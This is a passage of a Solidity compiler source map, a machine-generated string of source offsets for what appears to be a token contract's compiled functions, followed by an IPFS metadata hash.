;:::i;:::-;:27;;:32::i;:::-;11780:44;;11737:217;;;-1:-1:-1;;;;;11854:26:0;;;;;;:15;:26;;;;;;;;11851:103;;;11909:33;11938:3;11909:24;11920:12;;11909:6;:10;;:24;;;;:::i;:33::-;11897:45;;11851:103;-1:-1:-1;;;;;11968:24:0;;;;;;:16;:24;;;;;;;;11964:75;;;12017:6;12025:1;12009:18;;;;;;;11964:75;12059:21;:6;12070:9;12059:10;:21::i;:::-;12051:41;-1:-1:-1;12082:9:0;-1:-1:-1;11480:620:0;;;;;;;:::o;10867:605::-;11017:16;;;11031:1;11017:16;;;;;;;;10993:21;;11017:16;;;;;;;;;;-1:-1:-1;11017:16:0;10993:40;;11062:4;11044;11049:1;11044:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11044:23:0;;;:7;;;;;;;;;;:23;;;;11088:15;;:22;;;-1:-1:-1;;;11088:22:0;;;;:15;;;;;:20;;:22;;;;;11044:7;;11088:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11078:4;11083:1;11078:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11078:32:0;;;:7;;;;;;;;;:32;11155:15;;11123:62;;11140:4;;11155:15;11173:11;11123:8;:62::i;:::-;11224:15;;:240;;-1:-1:-1;;;11224:240:0;;-1:-1:-1;;;;;11224:15:0;;;;:66;;:240;;11305:11;;11224:15;;11375:4;;11402;;11438:15;;11224:240;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10922:550;10867:605;:::o;10010:117::-;10093:26;;-1:-1:-1;;;;;10093:18:0;;;:26;;;;;10112:6;;10093:26;;;;10112:6;10093:18;:26;;;;;;;;;;;;;;;;;;;1859:250;1917:7;1941:1;1946;1941:6;1937:47;;-1:-1:-1;1971:1:0;1964:8;;1937:47;1996:9;2008:5;2012:1;2008;:5;:::i;:::-;1996:17;-1:-1:-1;2041:1:0;2032:5;2036:1;1996:17;2032:5;:::i;:::-;:10;2024:56;;;;-1:-1:-1;;;2024:56:0;;10356:2:1;2024:56:0;;;10338:21:1;10395:2;10375:18;;;10368:30;10434:34;10414:18;;;10407:62;-1:-1:-1;;;10485:18:1;;;10478:31;10526:19;;2024:56:0;10154:397:1;2117:132:0;2175:7;2202:39;2206:1;2209;2202:39;;;;;;;;;;;;;;;;;:3;:39::i;1515:136::-;1573:7;1600:43;1604:1;1607;1600:43;;;;;;;;;;;;;;;;;:3;:43::i;2257:278::-;2343:7;2378:12;2371:5;2363:28;;;;-1:-1:-1;;;2363:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2402:9:0;2414:5;2418:1;2414;:5;:::i;222:548:1:-;334:4;363:2;392;381:9;374:21;424:6;418:13;467:6;462:2;451:9;447:18;440:34;492:1;502:140;516:6;513:1;510:13;502:140;;;611:14;;;607:23;;601:30;577:17;;;596:2;573:26;566:66;531:10;;502:140;;;506:3;691:1;686:2;677:6;666:9;662:22;658:31;651:42;761:2;754;750:7;745:2;737:6;733:15;729:29;718:9;714:45;710:54;702:62;;;;222:548;;;;:::o;775:131::-;-1:-1:-1;;;;;850:31:1;;840:42;;830:70;;896:1;893;886:12;830:70;775:131;:::o;911:315::-;979:6;987;1040:2;1028:9;1019:7;1015:23;1011:32;1008:52;;;1056:1;1053;1046:12;1008:52;1095:9;1082:23;1114:31;1139:5;1114:31;:::i;:::-;1164:5;1216:2;1201:18;;;;1188:32;;-1:-1:-1;;;911:315:1:o;1835:316::-;1912:6;1920;1928;1981:2;1969:9;1960:7;1956:23;1952:32;1949:52;;;1997:1;1994;1987:12;1949:52;-1:-1:-1;;2020:23:1;;;2090:2;2075:18;;2062:32;;-1:-1:-1;2141:2:1;2126:18;;;2113:32;;1835:316;-1:-1:-1;1835:316:1:o;2156:456::-;2233:6;2241;2249;2302:2;2290:9;2281:7;2277:23;2273:32;2270:52;;;2318:1;2315;2308:12;2270:52;2357:9;2344:23;2376:31;2401:5;2376:31;:::i;:::-;2426:5;-1:-1:-1;2483:2:1;2468:18;;2455:32;2496:33;2455:32;2496:33;:::i;:::-;2156:456;;2548:7;;-1:-1:-1;;;2602:2:1;2587:18;;;;2574:32;;2156:456::o;2806:247::-;2865:6;2918:2;2906:9;2897:7;2893:23;2889:32;2886:52;;;2934:1;2931;2924:12;2886:52;2973:9;2960:23;2992:31;3017:5;2992:31;:::i;3058:180::-;3117:6;3170:2;3158:9;3149:7;3145:23;3141:32;3138:52;;;3186:1;3183;3176:12;3138:52;-1:-1:-1;3209:23:1;;3058:180;-1:-1:-1;3058:180:1:o;3243:273::-;3299:6;3352:2;3340:9;3331:7;3327:23;3323:32;3320:52;;;3368:1;3365;3358:12;3320:52;3407:9;3394:23;3460:5;3453:13;3446:21;3439:5;3436:32;3426:60;;3482:1;3479;3472:12;3521:388;3589:6;3597;3650:2;3638:9;3629:7;3625:23;3621:32;3618:52;;;3666:1;3663;3656:12;3618:52;3705:9;3692:23;3724:31;3749:5;3724:31;:::i;:::-;3774:5;-1:-1:-1;3831:2:1;3816:18;;3803:32;3844:33;3803:32;3844:33;:::i;:::-;3896:7;3886:17;;;3521:388;;;;;:::o;3914:380::-;3993:1;3989:12;;;;4036;;;4057:61;;4111:4;4103:6;4099:17;4089:27;;4057:61;4164:2;4156:6;4153:14;4133:18;4130:38;4127:161;;4210:10;4205:3;4201:20;4198:1;4191:31;4245:4;4242:1;4235:15;4273:4;4270:1;4263:15;4127:161;;3914:380;;;:::o;4299:356::-;4501:2;4483:21;;;4520:18;;;4513:30;4579:34;4574:2;4559:18;;4552:62;4646:2;4631:18;;4299:356::o;4660:127::-;4721:10;4716:3;4712:20;4709:1;4702:31;4752:4;4749:1;4742:15;4776:4;4773:1;4766:15;4792:217;4832:1;4858;4848:132;;4902:10;4897:3;4893:20;4890:1;4883:31;4937:4;4934:1;4927:15;4965:4;4962:1;4955:15;4848:132;-1:-1:-1;4994:9:1;;4792:217::o;6638:125::-;6703:9;;;6724:10;;;6721:36;;;6737:18;;:::i;8343:128::-;8410:9;;;8431:11;;;8428:37;;;8445:18;;:::i;8608:127::-;8669:10;8664:3;8660:20;8657:1;8650:31;8700:4;8697:1;8690:15;8724:4;8721:1;8714:15;8740:251;8810:6;8863:2;8851:9;8842:7;8838:23;8834:32;8831:52;;;8879:1;8876;8869:12;8831:52;8911:9;8905:16;8930:31;8955:5;8930:31;:::i;8996:980::-;9258:4;9306:3;9295:9;9291:19;9337:6;9326:9;9319:25;9363:2;9401:6;9396:2;9385:9;9381:18;9374:34;9444:3;9439:2;9428:9;9424:18;9417:31;9468:6;9503;9497:13;9534:6;9526;9519:22;9572:3;9561:9;9557:19;9550:26;;9611:2;9603:6;9599:15;9585:29;;9632:1;9642:195;9656:6;9653:1;9650:13;9642:195;;;9721:13;;-1:-1:-1;;;;;9717:39:1;9705:52;;9812:15;;;;9777:12;;;;9753:1;9671:9;9642:195;;;-1:-1:-1;;;;;;;9893:32:1;;;;9888:2;9873:18;;9866:60;-1:-1:-1;;;9957:3:1;9942:19;9935:35;9854:3;8996:980;-1:-1:-1;;;8996:980:1:o;9981:168::-;10054:9;;;10085;;10102:15;;;10096:22;;10082:37;10072:71;;10123:18;;:::i

ipfs://b45a7b193014ad6ebb898e22fe242c7896595888ee9c5b56fb13678398838d51